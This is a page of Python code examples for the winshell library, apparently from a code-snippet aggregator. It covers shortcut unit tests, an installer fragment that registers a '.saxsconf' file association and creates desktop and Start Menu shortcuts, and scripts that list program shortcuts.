     self.assertTrue(shortcut.lnk_filepath is None)
Esempio n. 38
0
 def test_factory_shortcut(self):
     shortcut = winshell.Shortcut()
     self.assertIs(shortcut, winshell.shortcut(shortcut))
Esempio n. 39
0
         "site-packages", 
         "SAXS",
         "icons",
         "program.ico"))
     wr.SetValue(wr.HKEY_CURRENT_USER,"Software\Classes\TUG.Leash\shell\open\command",wr.REG_SZ,pyw_executable+" \""+ script_file+ "\"  \"%1\"")
     wr.SetValue( wr.HKEY_CURRENT_USER,"Software\Classes\TUG.Leash\DefaultIcon",wr.REG_SZ,iconpath)
     wr.SetValue( wr.HKEY_CURRENT_USER,"Software\Classes\.saxsconf",wr.REG_SZ, "TUG.Leash");
     
     print "added registry values for extensions"
      
     import winshell
     import win32com 
     w_dir = os.path.expanduser('~')
     desktop_path = winshell.desktop()
     startmenu_path =win32com.shell.shell.SHGetSpecialFolderPath(0, win32com.shell.shellcon.CSIDL_STARTMENU)
     with winshell.shortcut( os.path.join(startmenu_path,'SAXSLeash.lnk')) as link:
         link.path= pyw_executable
         link.description =  "Control panel for SAXSdog Server"
         link.arguments =  script_file
         link.icon_location=(iconpath,0)
     with winshell.shortcut( os.path.join(desktop_path,'SAXSLeash.lnk')) as link:
         link.path= pyw_executable
         link.description = "Control panel for SAXSdog Server"
         link.arguments =  script_file
         link.icon_location=(iconpath,0)
     print startmenu_path
     call(["ie4uinit.exe" ,"-ClearIconCache"])
 elif os.name == "posix":
     print os.name
    
     call(["bash","addmime.sh"])
Esempio n. 40
0
 def test_factory_from_target(self):
     shortcut = winshell.shortcut(self.targetpath)
     self.assertFalse(shortcut.lnk_filepath is None)
     self.assertEqualCI(shortcut.path, self.targetpath)
Esempio n. 41
0
 def test_dumped(self):
     #
     # Can't really do much for dump[ed] so just make sure they don't
     # crash & burn
     #
     self.assertTrue(winshell.shortcut().dumped().startswith("{\n  -unsaved-"))
Esempio n. 42
0
import os, sys
import glob
import winshell

for lnk in glob.glob(os.path.join(winshell.programs(), "*.lnk")):
    shortcut = winshell.shortcut(lnk)
    shortcut.dump()
    break
else:
    print("None found")
Esempio n. 43
0
import os, sys
import winshell

shortcut = winshell.shortcut(sys.executable)
shortcut.working_directory = "c:/temp"
shortcut.write(os.path.join(winshell.desktop(), "python.lnk"))
shortcut.dump()
Esempio n. 44
0
import os, sys
import winshell

shortcuts = {}

user_programs = winshell.programs()
for dirpath, dirnames, filenames in os.walk(user_programs):
    relpath = dirpath[1 + len(user_programs) :]
    shortcuts.setdefault(relpath, []).extend([winshell.shortcut(os.path.join(dirpath, f)) for f in filenames])

all_programs = winshell.programs(common=1)
for dirpath, dirnames, filenames in os.walk(all_programs):
    relpath = dirpath[1 + len(all_programs) :]
    shortcuts.setdefault(relpath, []).extend([winshell.shortcut(os.path.join(dirpath, f)) for f in filenames])

for relpath, lnks in sorted(shortcuts.items()):
    level = relpath.count("\\")
    if level == 0:
        print("")
    print("%s+ %s" % ("    " * level, relpath))
    for lnk in lnks:
        name, _ = os.path.splitext(os.path.basename(lnk.lnk_filepath))
        print("%s* %s -> %s" % ("    " * (level + 1), name, lnk.path))